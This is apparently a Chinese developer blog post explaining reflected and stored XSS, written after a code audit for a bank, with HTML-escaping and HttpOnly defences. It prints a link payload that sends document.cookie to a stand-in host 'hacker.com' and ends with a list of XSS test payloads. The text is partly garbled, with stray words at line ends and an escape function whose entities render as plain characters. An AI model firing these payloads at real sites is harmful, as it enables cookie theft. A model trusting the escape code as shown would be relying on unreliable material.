你據說過XSS
嗎?
XSS(Cross-site scripting, 跨站腳本)是一種網站應用程序的安全漏洞攻擊,是代碼注入的一種。
研究代表,最近幾年 XSS 已經超過 「緩衝區溢出」 成爲最流行的攻擊方式,有68%的網站可能遭受此類攻擊。javascript
那麼檢測一下你是否充分了解 XSS 吧html
若是能夠回答👆3個問題,這篇文章對你提高是微乎其微的。
若是不能夠,你能夠花十分鐘左右閱讀一下。java
我目前的客戶是一家銀行,由於企業特性和業務需求,對系統安全高度重視。
所以,我不得不分析了整個系統,從中找出未對應 XSS 的 Code 。說實話,雖然是企業內部系統,可是代碼也很多,看代碼看的我都快吐了。數據庫
得益於此,讓我對
XSS
的理解更加深了一層。瀏覽器
由於用戶輸入的數據被當成代碼執行了。安全
那麼,爲何用戶輸入的數據會被當成代碼而且被執行呢?
由於當用戶輸入尖括號< >
,引號'
"
,斜槓/
之類的特殊字符時,可能破壞原始的代碼結構,致使輸入的部份內容被當成代碼,而且被執行。服務器
[小例子]
假若有下面一個textboxcookie
<input type="text" name="message" value="hello tj">
hello tj
是來自用戶的輸入,若是用戶不是輸入hello tj
,而是輸入"/><script>alert(document.cookie)</script><p name="
那麼就會變成👇的樣子。可不可怕?xss
<input type="text" name="address1" value=""/><script>alert(document.cookie)</script><p name="">
XSS 有兩種類型,反射型XSS
和持久型XSS
。測試
也就是非持久型XSS,常見誘騙用戶點擊帶有攻擊代碼的URL連接,連接被瀏覽器執行,從而攻擊用戶。
只有當前用戶被影響,影響範圍:小。
[小例子]
<a href="http://xxx91.com/index?term=<script>window.open('http://hacker.com?yourcookie='+document.cookie)</script>">小姐姐</a>
若是你點擊了👆連接,你cookie信息就有可能被髮送到黑客的服務器http://hacker.com
。
雖然連接可能被用戶懷疑,可是能夠經過短網址服務將之縮短,從而隱藏攻擊代碼。
也叫存儲型XSS,提交包含攻擊代碼的數據到服務器。
全部瀏覽這部分數據的用戶都將被攻擊代碼影響,影響範圍:大
[小例子]
html模版以下:
<input type="text" name="message" value="${message}">
當從數據庫查詢的 message 以下:
"/><script>alert(document.cookie)</script><p name="
生成的 html 將變成👇:
<input type="text" name="address1" value=""/><script>alert(document.cookie)</script><p name="">
此時,html可能已經不受咱們控制了。
原則:全部用戶輸入都是不可信的。(注意:攻擊代碼不必定僅在
<script></script>
中。)
預防 反射型XSS
將重要的cookie標記爲http only
,這樣的話Javascript 中的document.cookie語句就不能獲取到cookie了。
& –> & < –> < > –> > " –> " ` -> ` ' –> ' / –> /
有兩點須要特別說明的是:
'
編碼爲 &apos
; ,由於它並非標準的HTML標籤/
編碼,由於在進行XSS攻擊時,斜槓號對於關閉當前HTML標籤很是有用function escapeHtml(value) { if (typeof value !== 'string') { return value } return value.replace(/[&<>`"'\/]/g, function(result) { return { '&': '&', '<': '<', '>': '>', '`': '`', '"': '"', "'": ''', '/': '/', }[result] }) }
><script>alert(document.cookie)</script> ='><script>alert(document.cookie)</script> "><script>alert(document.cookie)</script> <script>alert(document.cookie)</script> <script>alert (vulnerable)</script> %3Cscript%3Ealert('XSS')%3C/script%3E <script>alert('XSS')</script> <img src="javascript:alert('XSS')"> <img src="http://xxx.com/yyy.png" onerror="alert('XSS')">
但願這篇文章對你有幫助。by iamtjcn
首發:blog.iamtjcn.com